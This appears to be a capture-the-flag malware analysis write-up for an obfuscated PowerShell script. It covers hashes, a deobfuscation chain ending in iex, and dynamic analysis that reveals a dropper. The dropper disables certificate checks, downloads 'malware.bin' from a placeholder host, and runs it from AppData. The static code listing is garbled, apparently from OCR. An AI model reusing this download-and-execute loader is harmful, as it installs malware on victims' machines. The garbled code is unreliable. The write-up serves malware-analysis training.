MegaProject.ps1

Hash Values:

Using HashMyFiles,

MD5: 47497afbee54a8aca1e384f4b5344832

SHA1: b20c7a1fe877e8045bdeaf004d71dcc1fc910228

SHA256: cab3224df17971790cd56131e0629b766868a336072496b2901e7f3d14827b2d

File Type:

The file has extension of .ps1, file is likely a PowerShell script.

Using Detect it Easy,

File is plaintext, so it is confirmed to be a PowerShell script.

File will be opened in the PowerShell ISE and beautified for readability.

Static Analysis:

```
☐ function encode(Splaintext, Skey) {
    Scyphertext = ""; Skeyposition = 0;
    SkeyArray = Skey.ToCharArray();
    Splaintext.ToCharArray() foreach-object -process {
        Scyphertext = [char]([byte][char]S_ -bxor SkeyArray[Skeyposition]);
        Skeyposition = -eq Skey.Length) {
        Skeyposition = 0
        }
        Skeyposition = 0
}
   [ ];
return $cyphertext
   $keyposition = 0
};
$cypertext += [char]([byte][char]$_ + $keyposition);
$keyposition += 1};return $cypertext}
$f = [system.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($e))
$g = encode $f freeworld
$h = [system.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($g))
$i = roll $h 4 <# minus #>
$j = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($i))
$j | iex
```

Reading through the code, the value stored in \$e is base 64 decoded for later manipulation, then passed to the iex function.

The iex function executes script passed to it, so the value should be another plaintext written as a script.

Base 64 decoding the value in CyberChef outputs data difficult to parse, so dynamic analysis may be necessary.

```
Output
4 EM /* DC3809(1syn FF BEL"V EM 8! S0E0T#5 RS <46, #7can64&+<@/ syn'4Engack# DC27")1!# NUL5 VT 1Eng?: 6U 0$B VT5."<A'/&E0T0BEL<
VT #DC2ACKG VT 65V_!BEL!DC3]$?U0(
                                    725:>ENQO EM 4DC1%: O US NUL! 8 OSUBZ8>'_RS = SO 9EOT (^"ETB'2/! SO RS " SI 3 EM /2-] O=41K(3 FS
- vT > 30 BS 101STX&SOH6<$U GS BEL< US:7<$
 "STX$ENQ) 00NAK34Z! SO BS _$6 BS 1EOT ACKNUL FF $ FF T #C5DC32 US NAKEOT!; SYN GS <
8"BEL" VT 0 #, 8EOTT 9^ 'SOHNUL! & ODC1$
5E0T304'$"_3ESCNULW4NAK1FSV!>'^BS05055<*25SYN##/
$EOTLF > RS $TDC4EOTSYNBEL(#(.7F=@4soS0* DC3. SOHDC4
 T'G7A: DC2STX' LF DC3&STX4ENQACK"SYN FS 34^%!U $6 FF ETX SO $ACK) DC2$&P4 VT \%DC23 FS 7 SI: 8 (FS <
8Q? %79 LF 0 EM 71DC3 \*: *5DC3UNAKACK < FS *
3cansonU.) 8&nuLOK 4suB9suB! 24 GS 6&GETB (^& +"+GS
4" 65 0%
SYNDC3*SYNSTXACKVRS!E0T1-855"(!SOH 85 = 9&; .7's1\su8=EM&3STX5/VTNAK+C:630&1!)!=2<71\vT%ACK?BEL&V$ /%VT4E0T2<5SOH/SYN
74 4TsynU1escBeL$8<$$(3%]++ FF NAKDC33
#? FS * FF OCAN (DC1") 8+NUL SYNO<0 VT CAN
GS R BS 6WDC3 DC3^"DC4$ BS SOH GS SO EM DC4DC4>@ 6NAK^SUB GS ENQ!$?3F-STX9 SO 5ACK N:&SOH*
```

Dynamic Analysis:

Before starting the debugger, the function iex is changed to write-host to see if the content of the resulted script can be outputted.

After stepping through the code, the script is outputted to the terminal.

```
[DBG]: PS C:\Users\Pass_Client1>>
$comment = "For Educational Purposes Only. `n-- X-Force Threat Intel Malware RE Team --`n";
$base64_decode_this_to_get_the_flag = "UIVQM1JfUDBXM1JTSDMzTF9YLUZvcmN1"
$url = "https://a_non_existent_powershell_test_site.com/pub/hacked/malware.bin";
$output = "$env:APPDATA\dropped.exe";
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$webClient = new-object System.Net.WebClient
$webClient.DownloadFile( $url, $output )
[System.Diagnostics.Process]::Start($output, "/nothingtoseehere")
```

Using base 64 decoding on the given string produces the flag.

Flag: SUP3R P0W3RSH33L X-Force